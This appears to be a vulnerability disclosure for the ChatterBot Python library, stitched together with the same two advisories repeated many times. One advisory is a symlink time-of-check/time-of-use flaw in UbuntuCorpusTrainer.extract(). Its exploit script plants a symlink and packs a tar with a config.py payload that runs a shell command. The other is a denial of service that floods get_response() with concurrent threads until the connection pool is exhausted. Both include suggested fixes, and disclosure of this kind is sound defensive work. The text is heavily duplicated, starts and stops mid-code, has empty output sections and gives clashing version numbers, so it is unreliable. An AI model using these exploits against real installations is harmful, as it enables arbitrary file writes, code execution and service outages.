    if not os.path.exists(data_path):
        os.makedirs(data_path)
    def is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])
        return prefix == abs_directory

    with tarfile.open(str(tar_path), "r:gz") as tar:
        for member in tar.getmembers():
            member_path = os.path.join(str(data_path), member.name)
            if not is_within_directory(str(data_path), member_path):
                raise Exception("Attempted Path Traversal in Tar File")
        tar.extractall(str(data_path))

    print(f"[3] extractall(data_path) — data_path is symlink, writes to target")

    # Verify
    files = list(ATTACKER_TARGET.iterdir())
    if files:
        print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
        for f in sorted(files):
            print(f"    {f.name}: {f.read_text().strip()[:60]}")
    else:
        print("[-] Failed")
        shutil.rmtree(str(test_base), ignore_errors=True)
        shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
        sys.exit(1)

    shutil.rmtree(str(test_base), ignore_errors=True)
    shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
    sys.exit(0)


if __name__ == "__main__":
    print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
    print(f"Attacker target: {ATTACKER_TARGET}")
    print()
    main()

PoC output

Suggested Fix

Refuse symlinks on the output directory before extraction:

def extract(self, file_path: str):
    if os.path.islink(self.data_path):
        raise self.TrainerInitializationException(
            f'Refusing to extract to symlink: {self.data_path}')
    if not os.path.exists(self.data_path):
        os.makedirs(self.data_path)
    ...

Summary

ChatterBot versions up to 1.2.10 are vulnerable to a denial-of-service condition caused by improper database session and connection pool management. Concurrent invocations of the get_response() method can exhaust the underlying SQLAlchemy connection pool, resulting in persistent service unavailability and requiring a manual restart to recover.

Details

ChatterBot relies on SQLAlchemy for database access and uses a connection pool with default limits. The get_response() method does not enforce concurrency limits, rate limiting, or explicit session lifecycle controls.

When multiple threads concurrently invoke get_response(), database connections are rapidly consumed and not released in a timely manner. This leads to exhaustion of the SQLAlchemy QueuePool, causing subsequent requests to block and eventually fail with a TimeoutError.

This issue can be triggered without authentication in deployments where ChatterBot is exposed as a chatbot service, making it exploitable by remote attackers to cause denial of service.

PoC Video: https://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f

PoC

1. Install ChatterBot version 1.2.10.
2. Use the default database configuration (SQLite / SQLAlchemy).
3. Run the following Python script to invoke concurrent requests:

from chatterbot import ChatBot import threading

bot = ChatBot("dos-test")

def attack(): bot.get_response("hello")

threads = [] for _ in range(30): t = threading.Thread(target=attack) t.start() threads.append(t)

for t in threads: t.join()

4. Observe that the application becomes unresponsive and raises SQLAlchemy TimeoutError exceptions indicating exhaustion of the connection pool.

Impact

This vulnerability allows an attacker to trigger a denial-of-service condition by exhausting the database connection pool. Once triggered, the chatbot becomes unresponsive to legitimate users and requires a manual restart to restore functionality.

All deployments of ChatterBot version 1.2.10 or earlier that allow concurrent access to the get_response() method are impacted.

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.

The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
    'ubuntu_corpus_data_directory',
    os.path.join(home_directory, 'ubuntu_data')   # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
    self.data_directory, 'ubuntu_dialogs'          # ~/ubuntu_data/ubuntu_dialogs
)

Check-then-create (line 621-622)

def extract(self, file_path: str):
    if not os.path.exists(self.data_path):   # ← follows symlink → True → skips makedirs
        os.makedirs(self.data_path)          # ← never reached if symlink exists

Extraction through symlink (line 633-644)

def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):    # ← validates MEMBER names only
            raise Exception('Attempted Path Traversal in Tar File')
    tar.extractall(path, members, numeric_owner=numeric_owner)  # ← path is symlink → writes to target

safe_extract(tar, path=self.data_path, ...)   # self.data_path = symlink → attacker dir

safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |

Exploit

import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch

from chatterbot.trainers import UbuntuCorpusTrainer

ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))


def main():
    test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
    data_dir = test_base / "ubuntu_data"
    data_path = data_dir / "ubuntu_dialogs"
    data_dir.mkdir(parents=True, exist_ok=True)
    os.symlink(str(ATTACKER_TARGET), str(data_path))
    print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
    exists_check = os.path.exists(data_path)
    print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
    import tarfile
    import io
    tar_path = test_base / "corpus.tar.gz"
    with tarfile.open(str(tar_path), "w:gz") as tf:
        info = tarfile.TarInfo(name="dialog_001.tsv")
        payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
        info.size = len(payload)
        tf.addfile(info, io.BytesIO(payload))

        info2 = tarfile.TarInfo(name="config.py")
        rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
        info2.size = len(rce)
        tf.addfile(info2, io.BytesIO(rce))
    if not os.path.exists(data_path):
        os.makedirs(data_path)
    def is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])
        return prefix == abs_directory

    with tarfile.open(str(tar_path), "r:gz") as tar:
        for member in tar.getmembers():
            member_path = os.path.join(str(data_path), member.name)
            if not is_within_directory(str(data_path), member_path):
                raise Exception("Attempted Path Traversal in Tar File")
        tar.extractall(str(data_path))

    print(f"[3] extractall(data_path) — data_path is symlink, writes to target")

    # Verify
    files = list(ATTACKER_TARGET.iterdir())
    if files:
        print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
        for f in sorted(files):
            print(f"    {f.name}: {f.read_text().strip()[:60]}")
    else:
        print("[-] Failed")
        shutil.rmtree(str(test_base), ignore_errors=True)
        shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
        sys.exit(1)

    shutil.rmtree(str(test_base), ignore_errors=True)
    shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
    sys.exit(0)


if __name__ == "__main__":
    print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
    print(f"Attacker target: {ATTACKER_TARGET}")
    print()
    main()

PoC output

Suggested Fix

Refuse symlinks on the output directory before extraction:

def extract(self, file_path: str):
    if os.path.islink(self.data_path):
        raise self.TrainerInitializationException(
            f'Refusing to extract to symlink: {self.data_path}')
    if not os.path.exists(self.data_path):
        os.makedirs(self.data_path)
    ...

Summary

ChatterBot versions up to 1.2.10 are vulnerable to a denial-of-service condition caused by improper database session and connection pool management. Concurrent invocations of the get_response() method can exhaust the underlying SQLAlchemy connection pool, resulting in persistent service unavailability and requiring a manual restart to recover.

Details

ChatterBot relies on SQLAlchemy for database access and uses a connection pool with default limits. The get_response() method does not enforce concurrency limits, rate limiting, or explicit session lifecycle controls.

When multiple threads concurrently invoke get_response(), database connections are rapidly consumed and not released in a timely manner. This leads to exhaustion of the SQLAlchemy QueuePool, causing subsequent requests to block and eventually fail with a TimeoutError.

This issue can be triggered without authentication in deployments where ChatterBot is exposed as a chatbot service, making it exploitable by remote attackers to cause denial of service.

PoC Video: https://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f

PoC

1. Install ChatterBot version 1.2.10.
2. Use the default database configuration (SQLite / SQLAlchemy).
3. Run the following Python script to invoke concurrent requests:

from chatterbot import ChatBot import threading

bot = ChatBot("dos-test")

def attack(): bot.get_response("hello")

threads = [] for _ in range(30): t = threading.Thread(target=attack) t.start() threads.append(t)

for t in threads: t.join()

4. Observe that the application becomes unresponsive and raises SQLAlchemy TimeoutError exceptions indicating exhaustion of the connection pool.

Impact

This vulnerability allows an attacker to trigger a denial-of-service condition by exhausting the database connection pool. Once triggered, the chatbot becomes unresponsive to legitimate users and requires a manual restart to restore functionality.

All deployments of ChatterBot version 1.2.10 or earlier that allow concurrent access to the get_response() method are impacted.

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.

The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
    'ubuntu_corpus_data_directory',
    os.path.join(home_directory, 'ubuntu_data')   # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
    self.data_directory, 'ubuntu_dialogs'          # ~/ubuntu_data/ubuntu_dialogs
)

Check-then-create (line 621-622)

def extract(self, file_path: str):
    if not os.path.exists(self.data_path):   # ← follows symlink → True → skips makedirs
        os.makedirs(self.data_path)          # ← never reached if symlink exists

Extraction through symlink (line 633-644)

def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):    # ← validates MEMBER names only
            raise Exception('Attempted Path Traversal in Tar File')
    tar.extractall(path, members, numeric_owner=numeric_owner)  # ← path is symlink → writes to target

safe_extract(tar, path=self.data_path, ...)   # self.data_path = symlink → attacker dir

safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |

Exploit

import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch

from chatterbot.trainers import UbuntuCorpusTrainer

ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))


def main():
    test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
    data_dir = test_base / "ubuntu_data"
    data_path = data_dir / "ubuntu_dialogs"
    data_dir.mkdir(parents=True, exist_ok=True)
    os.symlink(str(ATTACKER_TARGET), str(data_path))
    print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
    exists_check = os.path.exists(data_path)
    print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
    import tarfile
    import io
    tar_path = test_base / "corpus.tar.gz"
    with tarfile.open(str(tar_path), "w:gz") as tf:
        info = tarfile.TarInfo(name="dialog_001.tsv")
        payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
        info.size = len(payload)
        tf.addfile(info, io.BytesIO(payload))

        info2 = tarfile.TarInfo(name="config.py")
        rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
        info2.size = len(rce)
        tf.addfile(info2, io.BytesIO(rce))
    if not os.path.exists(data_path):
        os.makedirs(data_path)
    def is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])
        return prefix == abs_directory

    with tarfile.open(str(tar_path), "r:gz") as tar:
        for member in tar.getmembers():
            member_path = os.path.join(str(data_path), member.name)
            if not is_within_directory(str(data_path), member_path):
                raise Exception("Attempted Path Traversal in Tar File")
        tar.extractall(str(data_path))

    print(f"[3] extractall(data_path) — data_path is symlink, writes to target")

    # Verify
    files = list(ATTACKER_TARGET.iterdir())
    if files:
        print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
        for f in sorted(files):
            print(f"    {f.name}: {f.read_text().strip()[:60]}")
    else:
        print("[-] Failed")
        shutil.rmtree(str(test_base), ignore_errors=True)
        shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
        sys.exit(1)

    shutil.rmtree(str(test_base), ignore_errors=True)
    shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
    sys.exit(0)


if __name__ == "__main__":
    print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
    print(f"Attacker target: {ATTACKER_TARGET}")
    print()
    main()

PoC output

Suggested Fix

Refuse symlinks on the output directory before extraction:

def extract(self, file_path: str):
    if os.path.islink(self.data_path):
        raise self.TrainerInitializationException(
            f'Refusing to extract to symlink: {self.data_path}')
    if not os.path.exists(self.data_path):
        os.makedirs(self.data_path)
    ...

Summary

ChatterBot versions up to 1.2.10 are vulnerable to a denial-of-service condition caused by improper database session and connection pool management. Concurrent invocations of the get_response() method can exhaust the underlying SQLAlchemy connection pool, resulting in persistent service unavailability and requiring a manual restart to recover.

Details

ChatterBot relies on SQLAlchemy for database access and uses a connection pool with default limits. The get_response() method does not enforce concurrency limits, rate limiting, or explicit session lifecycle controls.

When multiple threads concurrently invoke get_response(), database connections are rapidly consumed and not released in a timely manner. This leads to exhaustion of the SQLAlchemy QueuePool, causing subsequent requests to block and eventually fail with a TimeoutError.

This issue can be triggered without authentication in deployments where ChatterBot is exposed as a chatbot service, making it exploitable by remote attackers to cause denial of service.

PoC Video: https://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f

PoC

1. Install ChatterBot version 1.2.10.
2. Use the default database configuration (SQLite / SQLAlchemy).
3. Run the following Python script to invoke concurrent requests:

from chatterbot import ChatBot import threading

bot = ChatBot("dos-test")

def attack(): bot.get_response("hello")

threads = [] for _ in range(30): t = threading.Thread(target=attack) t.start() threads.append(t)

for t in threads: t.join()

4. Observe that the application becomes unresponsive and raises SQLAlchemy TimeoutError exceptions indicating exhaustion of the connection pool.

Impact

This vulnerability allows an attacker to trigger a denial-of-service condition by exhausting the database connection pool. Once triggered, the chatbot becomes unresponsive to legitimate users and requires a manual restart to restore functionality.

All deployments of ChatterBot version 1.2.10 or earlier that allow concurrent access to the get_response() method are impacted.

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.

The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
    'ubuntu_corpus_data_directory',
    os.path.join(home_directory, 'ubuntu_data')   # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
    self.data_directory, 'ubuntu_dialogs'          # ~/ubuntu_data/ubuntu_dialogs
)

Check-then-create (line 621-622)

def extract(self, file_path: str):
    if not os.path.exists(self.data_path):   # ← follows symlink → True → skips makedirs
        os.makedirs(self.data_path)          # ← never reached if symlink exists

Extraction through symlink (line 633-644)

def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):    # ← validates MEMBER names only
            raise Exception('Attempted Path Traversal in Tar File')
    tar.extractall(path, members, numeric_owner=numeric_owner)  # ← path is symlink → writes to target

safe_extract(tar, path=self.data_path, ...)   # self.data_path = symlink → attacker dir

safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |

Exploit

import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch

from chatterbot.trainers import UbuntuCorpusTrainer

ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))


def main():
    test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
    data_dir = test_base / "ubuntu_data"
    data_path = data_dir / "ubuntu_dialogs"
    data_dir.mkdir(parents=True, exist_ok=True)
    os.symlink(str(ATTACKER_TARGET), str(data_path))
    print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
    exists_check = os.path.exists(data_path)
    print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
    import tarfile
    import io
    tar_path = test_base / "corpus.tar.gz"
    with tarfile.open(str(tar_path), "w:gz") as tf:
        info = tarfile.TarInfo(name="dialog_001.tsv")
        payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
        info.size = len(payload)
        tf.addfile(info, io.BytesIO(payload))

        info2 = tarfile.TarInfo(name="config.py")
        rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
        info2.size = len(rce)
        tf.addfile(info2, io.BytesIO(rce))
    if not os.path.exists(data_path):
        os.makedirs(data_path)
    def is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])
        return prefix == abs_directory

    with tarfile.open(str(tar_path), "r:gz") as tar:
        for member in tar.getmembers():
            member_path = os.path.join(str(data_path), member.name)
            if not is_within_directory(str(data_path), member_path):
                raise Exception("Attempted Path Traversal in Tar File")
        tar.extractall(str(data_path))

    print(f"[3] extractall(data_path) — data_path is symlink, writes to target")

    # Verify
    files = list(ATTACKER_TARGET.iterdir())
    if files:
        print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
        for f in sorted(files):
            print(f"    {f.name}: {f.read_text().strip()[:60]}")
    else:
        print("[-] Failed")
        shutil.rmtree(str(test_base), ignore_errors=True)
        shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
        sys.exit(1)

    shutil.rmtree(str(test_base), ignore_errors=True)
    shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
    sys.exit(0)


if __name__ == "__main__":
    print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
    print(f"Attacker target: {ATTACKER_TARGET}")
    print()
    main()

PoC output

Suggested Fix

Refuse symlinks on the output directory before extraction:

def extract(self, file_path: str):
    if os.path.islink(self.data_path):
        raise self.TrainerInitializationException(
            f'Refusing to extract to symlink: {self.data_path}')
    if not os.path.exists(self.data_path):
        os.makedirs(self.data_path)
    ...

Summary

ChatterBot versions up to 1.2.10 are vulnerable to a denial-of-service condition caused by improper database session and connection pool management. Concurrent invocations of the get_response() method can exhaust the underlying SQLAlchemy connection pool, resulting in persistent service unavailability and requiring a manual restart to recover.

Details

ChatterBot relies on SQLAlchemy for database access and uses a connection pool with default limits. The get_response() method does not enforce concurrency limits, rate limiting, or explicit session lifecycle controls.

When multiple threads concurrently invoke get_response(), database connections are rapidly consumed and not released in a timely manner. This leads to exhaustion of the SQLAlchemy QueuePool, causing subsequent requests to block and eventually fail with a TimeoutError.

This issue can be triggered without authentication in deployments where ChatterBot is exposed as a chatbot service, making it exploitable by remote attackers to cause denial of service.

PoC Video: https://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f

PoC

1. Install ChatterBot version 1.2.10.
2. Use the default database configuration (SQLite / SQLAlchemy).
3. Run the following Python script to invoke concurrent requests:

from chatterbot import ChatBot import threading

bot = ChatBot("dos-test")

def attack(): bot.get_response("hello")

threads = [] for _ in range(30): t = threading.Thread(target=attack) t.start() threads.append(t)

for t in threads: t.join()

4. Observe that the application becomes unresponsive and raises SQLAlchemy TimeoutError exceptions indicating exhaustion of the connection pool.

Impact

This vulnerability allows an attacker to trigger a denial-of-service condition by exhausting the database connection pool. Once triggered, the chatbot becomes unresponsive to legitimate users and requires a manual restart to restore functionality.

All deployments of ChatterBot version 1.2.10 or earlier that allow concurrent access to the get_response() method are impacted.

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.

The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
    'ubuntu_corpus_data_directory',
    os.path.join(home_directory, 'ubuntu_data')   # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
    self.data_directory, 'ubuntu_dialogs'          # ~/ubuntu_data/ubuntu_dialogs
)

Check-then-create (line 621-622)

def extract(self, file_path: str):
    if not os.path.exists(self.data_path):   # ← follows symlink → True → skips makedirs
        os.makedirs(self.data_path)          # ← never reached if symlink exists

Extraction through symlink (line 633-644)

def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):    # ← validates MEMBER names only
            raise Exception('Attempted Path Traversal in Tar File')
    tar.extractall(path, members, numeric_owner=numeric_owner)  # ← path is symlink → writes to target

safe_extract(tar, path=self.data_path, ...)   # self.data_path = symlink → attacker dir

safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |

Exploit

import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch

from chatterbot.trainers import UbuntuCorpusTrainer

ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))


def main():
    test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
    data_dir = test_base / "ubuntu_data"
    data_path = data_dir / "ubuntu_dialogs"
    data_dir.mkdir(parents=True, exist_ok=True)
    os.symlink(str(ATTACKER_TARGET), str(data_path))
    print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
    exists_check = os.path.exists(data_path)
    print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
    import tarfile
    import io
    tar_path = test_base / "corpus.tar.gz"
    with tarfile.open(str(tar_path), "w:gz") as tf:
        info = tarfile.TarInfo(name="dialog_001.tsv")
        payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
        info.size = len(payload)
        tf.addfile(info, io.BytesIO(payload))

        info2 = tarfile.TarInfo(name="config.py")
        rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
        info2.size = len(rce)
        tf.addfile(info2, io.BytesIO(rce))
    if not os.path.exists(data_path):
        os.makedirs(data_path)
    def is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])
        return prefix == abs_directory

    with tarfile.open(str(tar_path), "r:gz") as tar:
        for member in tar.getmembers():
            member_path = os.path.join(str(data_path), member.name)
            if not is_within_directory(str(data_path), member_path):
                raise Exception("Attempted Path Traversal in Tar File")
        tar.extractall(str(data_path))

    print(f"[3] extractall(data_path) — data_path is symlink, writes to target")

    # Verify
    files = list(ATTACKER_TARGET.iterdir())
    if files:
        print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
        for f in sorted(files):
            print(f"    {f.name}: {f.read_text().strip()[:60]}")
    else:
        print("[-] Failed")
        shutil.rmtree(str(test_base), ignore_errors=True)
        shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
        sys.exit(1)

    shutil.rmtree(str(test_base), ignore_errors=True)
    shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
    sys.exit(0)


if __name__ == "__main__":
    print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
    print(f"Attacker target: {ATTACKER_TARGET}")
    print()
    main()

PoC output

Suggested Fix

Refuse symlinks on the output directory before extraction:

def extract(self, file_path: str):
    if os.path.islink(self.data_path):
        raise self.TrainerInitializationException(
            f'Refusing to extract to symlink: {self.data_path}')
    if not os.path.exists(self.data_path):
        os.makedirs(self.data_path)
    ...

Summary

ChatterBot versions up to 1.2.10 are vulnerable to a denial-of-service condition caused by improper database session and connection pool management. Concurrent invocations of the get_response() method can exhaust the underlying SQLAlchemy connection pool, resulting in persistent service unavailability and requiring a manual restart to recover.

Details

ChatterBot relies on SQLAlchemy for database access and uses a connection pool with default limits. The get_response() method does not enforce concurrency limits, rate limiting, or explicit session lifecycle controls.

When multiple threads concurrently invoke get_response(), database connections are rapidly consumed and not released in a timely manner. This leads to exhaustion of the SQLAlchemy QueuePool, causing subsequent requests to block and eventually fail with a TimeoutError.

This issue can be triggered without authentication in deployments where ChatterBot is exposed as a chatbot service, making it exploitable by remote attackers to cause denial of service.

PoC Video: https://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f

PoC

1. Install ChatterBot version 1.2.10.
2. Use the default database configuration (SQLite / SQLAlchemy).
3. Run the following Python script to invoke concurrent requests:

from chatterbot import ChatBot import threading

bot = ChatBot("dos-test")

def attack(): bot.get_response("hello")

threads = [] for _ in range(30): t = threading.Thread(target=attack) t.start() threads.append(t)

for t in threads: t.join()

4. Observe that the application becomes unresponsive and raises SQLAlchemy TimeoutError exceptions indicating exhaustion of the connection pool.

Impact

This vulnerability allows an attacker to trigger a denial-of-service condition by exhausting the database connection pool. Once triggered, the chatbot becomes unresponsive to legitimate users and requires a manual restart to restore functionality.

All deployments of ChatterBot version 1.2.10 or earlier that allow concurrent access to the get_response() method are impacted.

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.

The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
    'ubuntu_corpus_data_directory',
    os.path.join(home_directory, 'ubuntu_data')   # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
    self.data_directory, 'ubuntu_dialogs'          # ~/ubuntu_data/ubuntu_dialogs
)

Check-then-create (line 621-622)

def extract(self, file_path: str):
    if not os.path.exists(self.data_path):   # ← follows symlink → True → skips makedirs
        os.makedirs(self.data_path)          # ← never reached if symlink exists

Extraction through symlink (line 633-644)

def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):    # ← validates MEMBER names only
            raise Exception('Attempted Path Traversal in Tar File')
    tar.extractall(path, members, numeric_owner=numeric_owner)  # ← path is symlink → writes to target

safe_extract(tar, path=self.data_path, ...)   # self.data_path = symlink → attacker dir

safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |

Exploit

import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch

from chatterbot.trainers import UbuntuCorpusTrainer

ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))


def main():
    test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
    data_dir = test_base / "ubuntu_data"
    data_path = data_dir / "ubuntu_dialogs"
    data_dir.mkdir(parents=True, exist_ok=True)
    os.symlink(str(ATTACKER_TARGET), str(data_path))
    print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
    exists_check = os.path.exists(data_path)
    print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
    import tarfile
    import io
    tar_path = test_base / "corpus.tar.gz"
    with tarfile.open(str(tar_path), "w:gz") as tf:
        info = tarfile.TarInfo(name="dialog_001.tsv")
        payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
        info.size = len(payload)
        tf.addfile(info, io.BytesIO(payload))

        info2 = tarfile.TarInfo(name="config.py")
        rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
        info2.size = len(rce)
        tf.addfile(info2, io.BytesIO(rce))
    if not os.path.exists(data_path):
        os.makedirs(data_path)
